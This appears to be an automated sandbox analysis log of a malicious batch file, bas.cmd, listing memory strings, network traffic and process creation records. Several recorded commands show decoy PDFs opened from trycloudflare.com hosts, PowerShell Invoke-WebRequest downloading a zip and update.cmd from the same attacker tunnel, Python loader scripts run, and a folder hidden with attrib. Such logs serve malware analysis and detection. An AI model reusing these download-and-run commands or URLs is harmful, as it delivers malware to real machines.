Source: sets.json.4.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.4.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.4.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.4.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.4.dr	String found in binary or memory: https://chennien.com
Source: sets.json.4.dr	String found in binary or memory: https://clarosports.com
Source: sets.json.4.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.4.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.4.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.4.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.4.dr	String found in binary or memory: https://computerbild.de
Source: powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: sets.json.4.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.4.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.4.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.4.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.4.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.4.dr	String found in binary or memory: https://een.be
Source: sets.json.4.dr	String found in binary or memory: https://efront.com
Source: sets.json.4.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.4.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.4.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.4.dr	String found in binary or memory: https://ella.sv
Source: sets.json.4.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.4.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.4.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.4.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.4.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.4.dr	String found in binary or memory: https://finn.no
Source: sets.json.4.dr	String found in binary or memory: https://firstlook.biz
Source: bas.cmd	String found in binary or memory: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000007.00000003.1257972974.000001F54A740000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: sets.json.4.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://gettalkdesk.com
Source: powershell.exe, 00000019.00000002.1410898228.0000025C5BEC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: chromecache_72.8.dr, chromecache_73.8.dr	String found in binary or memory: https://github.com/mar10/wsgidav/
Source: sets.json.4.dr	String found in binary or memory: https://gliadomain.com
Source: powershell.exe, 00000006.00000002.1289535614.0000023D2E57D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5C8C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000002.1289535614.0000023D2E57D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5C8C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com
Source: bas.cmd	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/a.pdf
Source: powershell.exe, 00000019.00000002.1408573592.0000025C59E50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1408757519.0000025C59E90000.00000004.00000020.00020000.00000000.sdmp, bas.cmd	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip
Source: powershell.exe, 00000019.00000002.1410610863.0000025C5A060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip4
Source: timeout.exe, 00000017.00000002.1391258101.000001E518674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip4d
Source: AppInstallerPythonRedirector.exe, 00000015.00000002.1366455249.0000022614402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip6
Source: powershell.exe, 00000006.00000002.1286539070.0000023D2B643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip?a
Source: timeout.exe, 00000017.00000002.1391258101.000001E518670000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000017.00000002.1391258101.000001E518674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipNd
Source: powershell.exe, 00000006.00000002.1286539070.0000023D2B577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipc
Source: powershell.exe, 00000006.00000002.1320379549.0000023D455D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipw
Source: powershell.exe, 00000019.00000002.1408757519.0000025C59E90000.00000004.00000020.00020000.00000000.sdmp, bas.cmd	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd
Source: powershell.exe, 00000019.00000002.1410610863.0000025C5A064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmdCommonPr
Source: powershell.exe, 00000019.00000002.1478427161.0000025C73E65000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410610863.0000025C5A060000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410610863.0000025C5A064000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1408573592.0000025C59E50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmdCommonProgramFiles=C:
Source: sets.json.4.dr	String found in binary or memory: https://grid.id
Source: sets.json.4.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.4.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.4.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.4.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.4.dr	String found in binary or memory: https://hapara.com
Source: sets.json.4.dr	String found in binary or memory: https://hc1.com
Source: sets.json.4.dr	String found in binary or memory: https://hc1.global
Source: sets.json.4.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.4.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.4.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.4.dr	String found in binary or memory: https://hearty.app
Source: sets.json.4.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.4.dr	String found in binary or memory: https://hearty.me
Source: sets.json.4.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.4.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.4.dr	String found in binary or memory: https://hj.rs
Source: sets.json.4.dr	String found in binary or memory: https://hjck.com
Source: sets.json.4.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.4.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.4.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.4.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.4.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.4.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.4.dr	String found in binary or memory: https://iolam.it
Source: sets.json.4.dr	String found in binary or memory: https://ishares.com
Source: sets.json.4.dr	String found in binary or memory: https://jagran.com
Source: sets.json.4.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.4.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.4.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.4.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.4.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.4.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.4.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.4.dr	String found in binary or memory: https://kompas.com
Source: sets.json.4.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.4.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.4.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.4.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.4.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.4.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.4.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.4.dr	String found in binary or memory: https://libero.it
Source: sets.json.4.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.4.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.4.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.4.dr	String found in binary or memory: https://livemint.com
Source: sets.json.4.dr	String found in binary or memory: https://max.auto
Source: sets.json.4.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.4.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.4.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.4.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.4.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.4.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.4.dr	String found in binary or memory: https://money.pl
Source: sets.json.4.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.4.dr	String found in binary or memory: https://nacion.com
Source: sets.json.4.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.4.dr	String found in binary or memory: https://nien.co
Source: sets.json.4.dr	String found in binary or memory: https://nien.com
Source: sets.json.4.dr	String found in binary or memory: https://nien.org
Source: sets.json.4.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.4.dr	String found in binary or memory: https://nourishingpursuits.com
Source: powershell.exe, 00000006.00000002.1289535614.0000023D2E9F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D472000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D5B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5D649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BD07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: sets.json.4.dr	String found in binary or memory: https://o2.pl
Source: sets.json.4.dr	String found in binary or memory: https://ocdn.eu
Source: qmgr.db.7.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: sets.json.4.dr	String found in binary or memory: https://onet.pl
Source: sets.json.4.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.4.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.4.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.4.dr	String found in binary or memory: https://player.pl
Source: sets.json.4.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.4.dr	String found in binary or memory: https://poalim.site
Source: sets.json.4.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.4.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.4.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.4.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.4.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.4.dr	String found in binary or memory: https://radio1.be
Source: sets.json.4.dr	String found in binary or memory: https://radio2.be
Source: sets.json.4.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.4.dr	String found in binary or memory: https://repid.org
Source: sets.json.4.dr	String found in binary or memory: https://reshim.org
Source: sets.json.4.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.4.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.4.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.4.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.4.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.4.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.4.dr	String found in binary or memory: https://samayam.com
Source: sets.json.4.dr	String found in binary or memory: https://shock.co
Source: sets.json.4.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.4.dr	String found in binary or memory: https://songshare.com
Source: sets.json.4.dr	String found in binary or memory: https://songstats.com
Source: sets.json.4.dr	String found in binary or memory: https://sporza.be
Source: sets.json.4.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.4.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.4.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.4.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.4.dr	String found in binary or memory: https://stripe.com
Source: sets.json.4.dr	String found in binary or memory: https://stripe.network
Source: sets.json.4.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.4.dr	String found in binary or memory: https://supereva.it
Source: sets.json.4.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.4.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.4.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.4.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.4.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.4.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.4.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.4.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.4.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.4.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.4.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.4.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.4.dr	String found in binary or memory: https://tvid.in
Source: sets.json.4.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.4.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.4.dr	String found in binary or memory: https://unotv.com
Source: sets.json.4.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.4.dr	String found in binary or memory: https://vrt.be
Source: sets.json.4.dr	String found in binary or memory: https://vwo.com
Source: sets.json.4.dr	String found in binary or memory: https://welt.de
Source: sets.json.4.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.4.dr	String found in binary or memory: https://wildix.com
Source: sets.json.4.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.4.dr	String found in binary or memory: https://wingify.com
Source: sets.json.4.dr	String found in binary or memory: https://wordle.at
Source: sets.json.4.dr	String found in binary or memory: https://wp.pl
Source: sets.json.4.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.4.dr	String found in binary or memory: https://www.asadcdn.com
Source: sets.json.4.dr	String found in binary or memory: https://ya.ru
Source: sets.json.4.dr	String found in binary or memory: https://zalo.me
Source: sets.json.4.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.4.dr	String found in binary or memory: https://zingmp3.vn

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55734
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49723 version: TLS 1.2

Source: C:\Windows\System32\svchost.exe

Process Stats: CPU usage > 49%

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\manifest.fingerprint	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_6892_794445048

Jump to behavior

Source: classification engine

Classification label: mal60.evad.winCMD@52/25@27/5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1100:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vyt0rfry.1ks.ps1

Jump to behavior

Source: C:\Windows\System32\timeout.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bas.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1992,i,15984810372542594167,14426285752425884727,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe hey.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe new.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe loader.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gonna-truly-conflict-deserve.trycloudflare.com/a.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2008,i,13683390946796946304,14765207737704090902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe hey.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe new.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe loader.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gonna-truly-conflict-deserve.trycloudflare.com/a.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1992,i,15984810372542594167,14426285752425884727,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
